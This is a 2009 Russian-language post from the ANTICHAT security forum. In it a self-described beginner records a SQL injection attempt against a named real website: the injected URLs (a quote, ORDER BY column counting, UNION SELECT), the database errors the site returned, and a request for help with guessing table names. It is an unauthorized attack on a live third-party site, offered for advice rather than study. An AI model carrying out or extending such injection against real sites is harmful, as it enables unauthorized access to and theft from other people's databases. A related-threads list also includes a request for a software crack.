Помощь Sql Иньекции.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

19.05.2009, 11:22

~~[Undead]~~

Banned

Регистрация: 15.05.2009

Сообщений: 2

Провел на форуме:
99937

Репутация: 2

Я новичок в этом деле и прошу помочь или поправить меня.
Нашел ошибку

Код:

http://www.poetryclub.com.ua/author.php?id=3912'

Пишет:

Цитата:

Database error: Invalid SQL
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND confirmed=1 AND is_deleted <> 1 AND is_del_user <> 1 ORDER BY id DESC' at line 1)
Session halted.

подбирал поля +order+by+1 на 2 уже выдаёт ошибку:

Цитата:

Database error: Invalid SQL
MySQL Error: 1054 (Unknown column '2' in 'order clause')
Session halted.

, поэтому думаю что 1 поле.
Далее выполняю запрос

Код:

http://www.poetryclub.com.ua/author.php?id=3912'+union+select+1/*

получаю

Цитата:

Database error: next_record called with no query pending. MySQL Error: () Session halted.

Мне осталось подобрать только название таблиц или я вообще все нетак сделал?

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

ПомогитЕ !!! подалуста найти кряк

гейлордфакерЪ

Болталка

30.08.2007 14:48